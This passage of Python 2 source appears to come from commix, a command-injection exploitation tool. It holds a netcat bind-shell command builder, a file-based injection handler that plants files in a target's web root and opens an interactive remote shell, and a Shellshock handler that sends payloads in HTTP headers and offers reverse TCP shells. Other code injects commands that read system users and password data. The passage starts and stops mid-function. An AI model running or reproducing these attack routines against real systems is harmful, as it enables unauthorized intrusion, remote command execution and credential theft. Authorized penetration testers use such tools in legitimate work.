print(settings.print_error_msg(err_msg)) continue while True: if not menu.options.batch: question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " enable_bin_dir = _input(settings.print_question_msg(question_msg)) else: enable_bin_dir = "" if len(enable_bin_dir) == 0: enable_bin_dir = "n" if enable_bin_dir in settings.CHOICE_NO: break elif enable_bin_dir in settings.CHOICE_YES: nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + enable_bin_dir + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: # nc without -e cmd = shell + " -c \"" + shell + " 0</tmp/f | " + \ nc_alternative + " -l -p " + settings.LPORT + \ " 1>/tmp/f\"" return cmd
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" # Set temp path if settings.TARGET_OS == "win": if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: settings.TMP_PATH = "%temp%\\" else: settings.TMP_PATH = "/tmp/" if menu.options.tmp_path: tmp_path = menu.options.tmp_path else: tmp_path = settings.TMP_PATH if settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True else: if menu.options.web_root: settings.WEB_ROOT = menu.options.web_root else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. if "apache" in settings.SERVER_BANNER.lower(): if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall( r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[ 0] > "2.3" and not settings.TARGET_OS == "win": # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: settings.WEB_ROOT = settings.WEB_ROOT except IndexError: pass # Add "/html" to servers root directory elif "fedora" or "centos" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: pass # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html" elif "nginx" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) if check_version[0] >= "1.2.4": # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: # Add "/www" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/www" except IndexError: pass elif "microsoft-iis" in settings.SERVER_BANNER.lower(): pass else: # Provide custom server's root directory. custom_web_root() path = urlparse.urlparse(url).path path_parts = path.split('/') count = 0 for part in path_parts: count = count + 1 count = count - 1 last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR if settings.TARGET_OS == "win": settings.WEB_ROOT = settings.WEB_ROOT.replace("/", "\\") if not settings.LOAD_SESSION or settings.RETEST == True: info_msg = "Trying to create a file in '" + settings.WEB_ROOT + "'... " print settings.print_info_msg(info_msg) i = 0 TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print settings.print_critical_msg(err_msg) sys.exit(0) if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print settings.print_payload(payload_msg) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = urllib2.Request(output) headers.do_check(request) # Evaluate test results. output = urllib2.urlopen(request) html_data = output.read() shell = re.findall(r"" + TAG + "", html_data) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise urllib2.HTTPError( url, 404, 'Error', {}, None) except urllib2.HTTPError, e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == settings.FAILED_TRIES and no_result == True: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print "" while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " sys.stdout.write( settings. print_question_msg( question_msg)) tmp_upload = sys.stdin.readline( ).replace("\n", "").lower() else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print "" raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print settings.print_error_msg( err_msg) pass continue else: if exit_loops == False: if not settings.VERBOSITY_LEVEL >= 1: if str(float_percent ) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str( float_percent ) + "%" else: percent = str( float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... [ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print settings.print_critical_msg( err_msg) + "\n" sys.exit(0) except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except urllib2.URLError, e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) print "" # Provide custom server's root directory. custom_web_root() continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", payload.replace( "\n", "\\n")) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): fb_enumeration.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: if not settings.VERBOSITY_LEVEL >= 1 and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" fb_file_access.do_check( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) #print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" fb_enumeration.single_os_cmd_exec( separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) try: # Pseudo-Terminal shell go_back = False go_back_again = False while True: # Delete previous shell (text) files (output) if settings.VERBOSITY_LEVEL >= 1: print "" delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if settings.VERBOSITY_LEVEL >= 1: print "" if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) # if settings.VERBOSITY_LEVEL >= 1: # print "" if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again) if go_back and go_back_again == False: break if go_back and go_back_again: return True else: response = fb_injector.injection( separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Command execution results. shell = fb_injector.injection_results( url, OUTPUT_TEXTFILE, timesec) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: if shell != "": # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" if not shell or shell == "": if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except KeyboardInterrupt: if settings.VERBOSITY_LEVEL >= 1: print "" # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise
def shellshock_handler(url, http_request_method, filename): counter = 1 vp_flag = True no_result = True export_injection_info = False injection_type = "results-based command injection" technique = "shellshock injection technique" info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: i = 0 total = len(shellshock_cves) * len(headers) for cve in shellshock_cves: for check_header in headers: i = i + 1 attack_vector = "echo " + cve + ":Done;" payload = shellshock_payloads(cve, attack_vector) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: sys.stdout.write("\n" + settings.print_payload(payload)) header = {check_header: payload} request = urllib2.Request(url, None, header) response = urllib2.urlopen(request) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if str(float_percent) == "100.0": if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif cve in response.info(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False elif cve in response.read(): percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL no_result = False else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if no_result == False: # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) #if vp_flag == True: vuln_parameter = "HTTP Header" the_type = " " + vuln_parameter check_header = " " + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) success_msg = "The (" + check_header + ") '" success_msg += url + Style.RESET_ALL + Style.BRIGHT success_msg += "' seems vulnerable via " + technique + "." print "\n" + settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + "\"" + payload + "\"" + Style.RESET_ALL if not settings.VERBOSITY_LEVEL >= 1: print "" # Enumeration options. if settings.ENUMERATION_DONE == True: if settings.VERBOSITY_LEVEL >= 1: print "" while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enumerate_again = sys.stdin.readline().replace( "\n", "").lower() if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: enumeration(url, cve, check_header, filename) # File access options. if settings.FILE_ACCESS_DONE == True: while True: question_msg = "Do you want to access files again? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) file_access_again = sys.stdin.readline().replace( "\n", "").lower() if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: file_access(url, cve, check_header, filename) if menu.options.os_cmd: cmd = menu.options.os_cmd shell, payload = cmd_exec(url, cmd, cve, check_header, filename) print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL sys.exit(0) else: # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: if settings.VERBOSITY_LEVEL >= 1: print "" question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the '" + os_shell_option + "' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. shell, payload = cmd_exec( url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has failed!" print settings.print_critical_msg( err_msg) else: pass else: shell, payload = cmd_exec( url, cmd, cve, check_header, filename) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command: " sys.stdout.write( "\n" + settings. print_info_msg( info_msg)) sys.stdout.flush() sys.stdout.write( "\n" + settings.print_payload( payload) + "\n") #print "\n" + settings.print_payload(payload) err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise except: print "" sys.exit(0) elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) continue break else: continue if no_result: print "" except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." print "\n" + settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit()
def main(filename, url): try: # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) for i in range(0,len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split(settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0,len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None : err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: if (menu.options.agent != settings.DEFAULT_USER_AGENT) or menu.options.mobile: err_msg = "The option '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." print settings.print_critical_msg(err_msg) sys.exit(0) else: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" or "-m" option. if url: # Load the crawler if menu.options.crawldepth > 0 or menu.options.sitemap_url: if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth else: if menu.options.sitemap_url: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) change_depth_level = sys.stdin.readline().replace("\n","").lower() else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + change_depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " sys.stdout.write(settings.print_question_msg(question_msg)) depth_level = sys.stdin.readline().replace("\n","").lower() if int(depth_level) >= 3: err_msg = "Depth level '" + depth_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break # Crawl the url. url = crawler.crawler(url) try: # Check for URL redirection if not menu.options.ignore_redirects: url = redirection.do_check(url) if menu.options.flush_session: session_handler.flush(url) # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Load tamper scripts if menu.options.tamper: checks.tamper_scripts() # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: if not menu.options.batch: question_msg = "Do you want to enable an HTTP server? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace("\n","").lower() else: enable_HTTP_server = "" if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile(menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.exit(0) if settings.LOCAL_HTTP_IP == None: while True: question_msg = "Please enter your interface IP address > " sys.stdout.write(settings.print_question_msg(question_msg)) ip_addr = sys.stdin.readline().replace("\n","").lower() # check if IP address is valid ip_check = simple_http_server.is_valid_ipv4(ip_addr) if ip_check == False: err_msg = "The provided IP address seems not valid." print 